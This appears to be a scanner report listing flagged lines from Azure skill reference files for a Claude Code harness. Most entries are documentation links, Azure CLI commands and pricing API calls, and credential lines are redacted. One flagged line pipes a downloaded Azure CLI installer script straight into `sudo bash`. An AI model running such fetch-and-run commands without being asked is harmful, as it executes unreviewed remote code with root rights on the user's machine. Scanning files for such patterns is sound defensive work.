    ### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c
  • Network accessline 35
    - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide)
  • Network accessline 37
    ### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
  • Network accessline 39
    - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Dangerous shell operationline 102
    trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT
  • Network accessline 236
    FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health"
  • Network accessline 237
    echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50
  • Network accessline 238
    curl "https://${FQDN}/actuator/health"
  • Network accessline 244
    $FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}"
  • Network accessline 245
    Write-Host "Application URL: https://${FQDN}"
  • Network accessline 246
    Invoke-WebRequest "https://${FQDN}/actuator/health"
  • Network accessline 256
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 257
    --environment spring-env --resource-group spring-rg --name config-server \   --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 258
    --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 259
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 265
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 266
    --environment spring-env --resource-group spring-rg --name config-server `   --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 267
    --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 268
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/code-migration.md

  • Network accessline 16
    - Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues
  • Network accessline 18
    - **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/global-rules.md

  • Network accessline 24
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr
  • Network accessline 25
    - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N
  • Network accessline 26
    - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Network accessline 95
    - [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda)
  • Network accessline 96
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 97
    - [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 98
    - [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings)
  • Network accessline 99
    - [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra)
  • Network accessline 100
    - [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra)
  • Network accessline 172
    properties: {         // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi
  • Network accessline 173
    // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default
  • Network accessline 174
    endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md

  • Network accessline 225
    > Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md

  • Network accessline 214
    > Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md

  • Network accessline 325
    > Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md

  • Network accessline 221
    > Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md

  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 199
    > Full reference: [Azure Functions Python developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-python)

harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md

  • Network accessline 119
    > Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)

harness/claude-code/skills/azure-compliance/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-compliance/references/azqr-recommendations.md

  • Network accessline 171
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 172
    - [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources)
  • Network accessline 173
    - [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/)
  • Network accessline 174
    - [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)

harness/claude-code/skills/azure-compliance/references/azqr-remediation-patterns.md

  • Network accessline 375
    - [Azure CLI Reference](https://learn.microsoft.com/cli/azure/)
  • Network accessline 376
    - [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/)
  • Network accessline 377
    - [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)

harness/claude-code/skills/azure-compliance/references/azure-quick-review.md

  • Network accessline 154
    - [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 155
    - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 156
    - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 157
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)

harness/claude-code/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md

  • Network accessline 12
    import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
  • Network accessline 14
    const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());

harness/claude-code/skills/azure-compute/references/retail-prices-api.md

  • Network accessline 3
    The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed.
  • Network accessline 8
    https://prices.azure.com/api/retail/prices
  • Network accessline 13
    https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 23
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'
  • Network accessline 27
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 31
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 32
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 39
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'
  • Network accessline 43
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 47
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 48
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 55
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'
  • Network accessline 59
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'"
  • Network accessline 63
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 64
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 72
    GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'
  • Network accessline 76
    curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'"
  • Network accessline 80
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 81
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 119
    { "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }

harness/claude-code/skills/azure-compute/references/vm-families.md

  • Network accessline 5
    > **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)

harness/claude-code/skills/azure-compute/references/vm-quotas.md

  • Network accessline 91
    - Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu
  • Network accessline 93
    - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)

harness/claude-code/skills/azure-compute/references/vmss-guide.md

  • Network accessline 5
    > **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi
  • Network accessline 6
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview
  • Network accessline 7
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 8
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison
  • Network accessline 62
    - Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a
  • Network accessline 64
    - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 92
    - [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes)
  • Network accessline 93
    - [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 94
    - [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking)
  • Network accessline 95
    - [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)

harness/claude-code/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md

  • Network accessline 61
    Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us
  • Network accessline 104
    - [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm)
  • Network accessline 105
    - [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm)
  • Network accessline 106
    - [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)

harness/claude-code/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md

  • Network accessline 103
    - [Azure Capacity Reservations documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-overview)
  • Network accessline 104
    - [Create a Capacity Reservation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-create)

harness/claude-code/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md

  • Network accessline 51
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview
  • Network accessline 81
    For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
  • Network accessline 82
    - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/claude-code/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md

  • Network accessline 33
    az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}')
  • Network accessline 47
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01
  • Network accessline 76
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')

harness/claude-code/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md

  • Network accessline 46
    - [Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment)
  • Network accessline 47
    - [Troubleshoot EMM](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep

  • Access to secretsline 139
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 14
    MY_IP=$(curl -s ifconfig.me)/32   # your current public IP, locked to /32
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md

  • Network accessline 7
    1. **Repo** — accept any of:    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 8
    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)    - Local checkout path (e.g., `~/source/azure-infra`) — skips clone
  • Network accessline 9
    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 76
    > ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md

  • Access to secretsline 47
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 14
    - **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` 
  • Network accessline 15
    - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, 
  • Network accessline 16
    - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md

  • Network accessline 7
    | VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o
  • Network accessline 8
    | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | "
  • Network accessline 9
    | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-creator/references/plan-card.md

  • Access to secretsline 32
    [Credential-related source omitted]

harness/claude-code/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md

  • Network accessline 17
    ## What to fetch (Step 2 — VMSS)
  • Network accessline 20
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview
  • Network accessline 21
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 24
    ## What to fetch (Step 3 — VM family)
  • Network accessline 27
    https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 30
    Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family`
  • Network accessline 31
    - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi
  • Network accessline 32
    - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series`
  • Network accessline 33
    - GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family`
  • Network accessline 35
    For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.

harness/claude-code/skills/azure-compute/workflows/vm-recommender/vm-recommender.md

  • Network accessline 56
    https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 59
    For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS.
  • Network accessline 101
    - Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 102
    - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 103
    - For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking

harness/claude-code/skills/azure-container-registry-cli/SKILL.md

  • Network accessline 29
    # Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 30
    brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI
  • Dangerous shell operationline 31
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 31
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 151
    - [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)

harness/claude-code/skills/azure-container-registry-cli/references/build-and-tasks.md

  • Network accessline 32
    # Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 33
    az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 59
    az acr task create --registry {registry} --name build-app \   --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 60
    --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \   --file Dockerfile \
  • Network accessline 61
    --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 124
    az acr task create --registry {registry} --name build-test-push \   --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 125
    --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \   --git-access-token {pat}
  • Network accessline 126
    --context https://github.com/{org}/{repo}.git#main \

harness/claude-code/skills/azure-container-registry-cli/references/images-and-artifacts.md

  • Network accessline 148
    az acr credential-set create --registry {registry} --name dockerhub-creds \   --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 149
    --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \   --password-id https://{vault}.vault.azure.net/secrets/dh-pass
  • Network accessline 150
    --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 151
    --password-id https://{vault}.vault.azure.net/secrets/dh-pass

harness/claude-code/skills/azure-container-registry-cli/references/networking-and-geo.md

  • Network accessline 93
    Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected.
  • Network accessline 130
    az acr export-pipeline create --resource-group {rg} --registry {src-registry} \   --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 131
    --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 132
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 133
    --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 136
    az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \   --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 137
    --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 138
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 139
    --storage-container-uri https://{account}.blob.core.windows.net/{container}

harness/claude-code/skills/azure-cost/cost-forecast/error-handling.md

  • Network accessline 11
    | 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T
  • Network accessline 13
    | 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 44
    | 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ 
  • Network accessline 46
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/claude-code/skills/azure-cost/cost-forecast/workflow.md

  • Network accessline 117
    | 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes
  • Network accessline 119
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/claude-code/skills/azure-cost/cost-optimization/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
